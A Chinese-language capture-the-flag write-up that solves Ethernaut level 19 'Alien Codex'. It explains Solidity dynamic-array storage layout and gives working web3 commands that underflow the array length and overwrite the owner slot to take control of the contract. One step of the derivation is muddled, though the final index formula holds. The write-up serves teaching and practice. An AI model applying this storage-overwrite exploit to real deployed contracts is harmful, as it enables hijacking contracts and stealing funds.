Ethernaut – level 19 : Alien Codex

(https://ethernaut.openzeppelin.com/level/0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272)

這一關又是要取得ownership,先來看看合約本身的code吧。

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }
  
  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
  	codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

看不出來有甚麼地方可以取得ownership,而根據題目的提示,看來我們應該著重在array,也就是bytes32[] public codex這個地方;看來就是要如何利用dynamic array的儲存位址的一些弱點來把我們的電子錢包位址塞進去原本的owner變數的地方了。

經過了解後,有幾個ethernum的規則我們在這邊熟悉一下,首先是每個合約有2^256個Slot可存放資料(每個slot可當成一個key,而slot內的值當成value,ethernum 可看成key/value pair的儲存方式),例如我們的bool public contact 這個變數就存在slot 0,另外slot 0後面也存了owner的位址(可用web3.eth,getStorageAt(instance,0)看一下),而dynamic array的存法就比較有意思了,首先我們的array是第二個變數,對應應該存在slot 1中,但因為它是dynamic array,所以slot 1中存的是該array目前的元素個數,也就是array.length,而每個元素真實的value,則存在keccak256(array slot),若是第一個元素,則存在於keccak256(array slot)+0 slot中,第二個元素則存在於keccak256(array slot)+1 slot中,以此類推。因此我們要讓Codex[X]的位址= 0 (讓我們可以藉由輸入Codex[X]的值來改變Owner),就是讓keccak256(slot 1)+X-1= 0 =2^256-1 => X=2^256-keccak256(1)

有了上述的了解後,題目可以重新分析如下:

  • 首先,為了滿足之後呼叫函示會遇到的contacted modifier檢查,因此先呼叫一次 contract.make_contact();
  • 然後為了讓我們呼叫revise()時,輸入的i的值不會因為大於array.length而不行,因此我們呼叫contract.retract(),這邊的原因是原本的array.length=0 (可用web3.eth.getStroageAt(instance,1)來檢查array.lenght),retract()後會underflow成array.length的最大值,這樣不管我們算出來的X是多少都可以輸入Codex[X]。
  • 接著就是輸入contract.revise(i,content),其中的i及content如上面所說的內容,以程式碼呈現如下方:
await contract.make_contact();  //可用await contract.contact()查看false or true
await web3.eth.getStorageAt(instance,0)//返回 '0x000000000000000000000001da5b3fb76c78b6edee6be8f11a1c31ecfb02b272',可看到第24 digit為1,表示contact=true, 後面則為owner的address

await contract.retract();
await web3.eth.getStorageAt(instance,1)//返回 '0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'

p = web3.utils.keccak256(web3.eth.abi.encodeParameters(["uint256"], [1]));
i = BigInt(2 ** 256) - BigInt(p);  //X=2^256-keccak256(1)
content = '0x' + '0'.repeat(24) + player.slice(2);

await contract.revise(i, content);

其他小說明:

  • contract AlienCodex is Ownable,表示AlienCodex 是繼承Ownable的,順帶一提,多重繼承的語法為 contract A is B,C{};
  • Ownable 是OpenZeppelin開發的一個智能合約,它提供onlyOwner模式用來保護特定方法的訪問權限,只允許owner帳號呼叫調用,不過我們這一關並沒有用到onlyOwner這個modifier。
  • Ownable一開始有定義一個address owner的變數,這也是為什麼我們的slot 0後面的40digit是owner的位址的原因,(參考Ethernaut level 12關於變數slot allocation的說明)
  • array([])使用push、pop來增加、刪除一個元素,length表示array的元素數量。
  • 理論上也可以不用contract.retract(),而使用呼叫超過X次的contract.record(),將array的length設為超過X即可。
  • keccak256算法將任意長度的輸入壓縮或轉換成64 位 16進制的數(16^64=(2^4)^64=2^256)。

Well done, You have completed this level!!!